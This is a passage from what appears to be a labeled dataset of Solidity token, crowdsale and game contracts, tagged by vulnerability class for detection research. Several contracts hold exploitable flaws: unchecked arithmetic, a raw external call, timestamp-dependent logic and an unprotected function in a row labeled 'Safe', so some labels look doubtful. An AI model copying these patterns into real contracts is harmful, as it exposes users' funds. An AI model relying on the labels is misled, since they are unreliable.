uint; CrowdsaleTokenExt public token; CrowdsaleExt public crowdsale; uint public distributedReservedTokensDestinationsLen = 0; function ReservedTokensFinalizeAgent(CrowdsaleTokenExt _token, CrowdsaleExt _crowdsale) public { token = _token; crowdsale = _crowdsale; } function isSane() public constant returns (bool) { return (token.releaseAgent() == address(this)); } function distributeReservedTokens(uint reservedTokensDistributionBatch) public { assert(msg.sender == address(crowdsale)); assert(reservedTokensDistributionBatch > 0); assert(!reservedTokensAreDistributed); assert(distributedReservedTokensDestinationsLen < token.reservedTokensDestinationsLen()); uint tokensSold = 0; for (uint8 i = 0; i < crowdsale.joinedCrowdsalesLen(); i++) { CrowdsaleExt tier = CrowdsaleExt(crowdsale.joinedCrowdsales(i)); tokensSold = tokensSold.plus(tier.tokensSold()); } uint startLooping = distributedReservedTokensDestinationsLen; uint batch = token.reservedTokensDestinationsLen().minus(distributedReservedTokensDestinationsLen); if (batch >= reservedTokensDistributionBatch) { batch = reservedTokensDistributionBatch; } uint endLooping = startLooping + batch; for (uint j = startLooping; j < endLooping; j++) { address reservedAddr = token.reservedTokensDestinations(j); if (!token.areTokensDistributedForAddress(reservedAddr)) { uint allocatedBonusInPercentage; uint allocatedBonusInTokens = token.getReservedTokens(reservedAddr); uint percentsOfTokensUnit = token.getReservedPercentageUnit(reservedAddr); uint percentsOfTokensDecimals = token.getReservedPercentageDecimals(reservedAddr); if (percentsOfTokensUnit > 0) { allocatedBonusInPercentage = tokensSold * percentsOfTokensUnit / 10**percentsOfTokensDecimals / 100; token.mint(reservedAddr, allocatedBonusInPercentage); } if (allocatedBonusInTokens > 0) { token.mint(reservedAddr, allocatedBonusInTokens); } token.finalizeReservedAddress(reservedAddr); distributedReservedTokensDestinationsLen++; } } if (distributedReservedTokensDestinationsLen == token.reservedTokensDestinationsLen()) { reservedTokensAreDistributed = true; } } function finalizeCrowdsale() public { assert(msg.sender == address(crowdsale)); if (token.reservedTokensDestinationsLen() > 0) { assert(reservedTokensAreDistributed); } token.releaseTokenTransfer(); } }",./Dataset/timestamp dependency (TP)/,6,6 528.sol,"pragma solidity 0.4.21; contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Ownable() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() onlyOwner whenNotPaused public returns (bool) { paused = true; emit Pause(); return true; } function unpause() onlyOwner whenPaused public returns (bool) { paused = false; emit Unpause(); return true; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract ROC is ERC20Interface, Pausable { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function ROC() public { symbol = ""ROC""; name = ""NeoWorld Rare Ore C""; decimals = 18; _totalSupply = 10000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public whenNotPaused returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public whenNotPaused returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function increaseApproval (address _spender, uint _addedValue) public whenNotPaused returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public whenNotPaused returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 31545.sol,"pragma solidity ^0.4.14; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract RawToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. function RawToken( ) { balances[msg.sender] = 42000000; // Give the owner 0 initial tokens totalSupply = 42000000; // Update total supply name = ""BBK Tobacco & Foods LLP""; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = ""RAW""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 0x0429047892b8a903c0b4fbbd26e85d288f7af958_FakeToken.sol,"pragma solidity ^0.4.10; /* taking ideas from FirstBlood token */ contract SafeMath { /* function assert(bool assertion) internal { */ /* if (!assertion) { */ /* throw; */ /* } */ /* } // assert no longer needed once solidity is on 0.4.10 */ function safeAdd(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } function safeMult(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x * y; assert((x == 0)||(z/x == y)); return z; } } contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /* ERC 20 token */ contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract FakeToken is StandardToken, SafeMath { // metadata string public constant name = ""Fake Token""; string public constant symbol = ""FTK""; uint256 public constant decimals = 18; string public version = ""1.0""; // contracts address public ethFundDeposit; // deposit address for ETH // crowdsale parameters bool public isFinalized; // switched to true in operational state uint256 public fundingStartBlock; uint256 public fundingEndBlock; uint256 public constant tokenExchangeRate = 1000; // 6400 tokens per 1 ETH // constructor function FakeToken( address _owner, uint256 _fundingStartBlock, uint256 _fundingEndBlock) { isFinalized = false; //controls pre through crowdsale state ethFundDeposit = _owner; fundingStartBlock = _fundingStartBlock; fundingEndBlock = _fundingEndBlock; totalSupply = 0; } /// @dev Accepts ether and creates new BAT tokens. function () payable external { require (block.number >= fundingStartBlock); require (block.number <= fundingEndBlock); if (msg.value == 0) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); // check that we're not over totals uint256 checkedSupply = safeAdd(totalSupply, tokens); Transfer(0, msg.sender, tokens); totalSupply = checkedSupply; balances[msg.sender] += tokens; // safeAdd not needed; bad semantics to use here } function changeStartBlock(uint256 blockNumberChanged) external{ fundingStartBlock = blockNumberChanged; fundingEndBlock = blockNumberChanged; } /// @dev Ends the funding period and sends the ETH home function finalize() external { if (msg.sender != ethFundDeposit) throw; // locks finalize to the ultimate ETH owner if(!ethFundDeposit.send(this.balance)) throw; // send the eth to Brave International } }",Safe,8,8 188.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); event onEndRound ( uint256 roundID, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot ); } contract modularShort is F3Devents {} contract Duang8 is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xE840E25BaB3F1F02eb1244a3aDC8965F5864f22E); address private admin = msg.sender; address private shareCom = 0x2F0839f736197117796967452310F025a330DA45; address private groupCut = 0x2924C3BfA7A20eB7AEcB6c38F4576eDcf7a72Df3; string constant public name = ""duang8""; string constant public symbol = ""duang8""; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 2 minutes; uint256 constant private rndInit_ = 24 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 constant private rndLimit_ = 5000; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(23,0); fees_[1] = F3Ddatasets.TeamFee(33,0); fees_[2] = F3Ddatasets.TeamFee(53,0); fees_[3] = F3Ddatasets.TeamFee(43,0); potSplit_[0] = F3Ddatasets.PotSplit(42,0); potSplit_[1] = F3Ddatasets.PotSplit(34,0); potSplit_[2] = F3Ddatasets.PotSplit(18,0); potSplit_[3] = F3Ddatasets.PotSplit(26,0); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; uint256 _withdrawFee; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) { _withdrawFee = _eth / 10; uint256 _p1 = _withdrawFee / 2; uint256 _p2 = _withdrawFee / 2; shareCom.transfer(_p1); admin.transfer(_p2); plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee)); } _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) { _withdrawFee = _eth / 10; _p1 = _withdrawFee / 2; _p2 = _withdrawFee / 2; shareCom.transfer(_p1); admin.transfer(_p2); plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee)); } emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 100000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( ( round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || 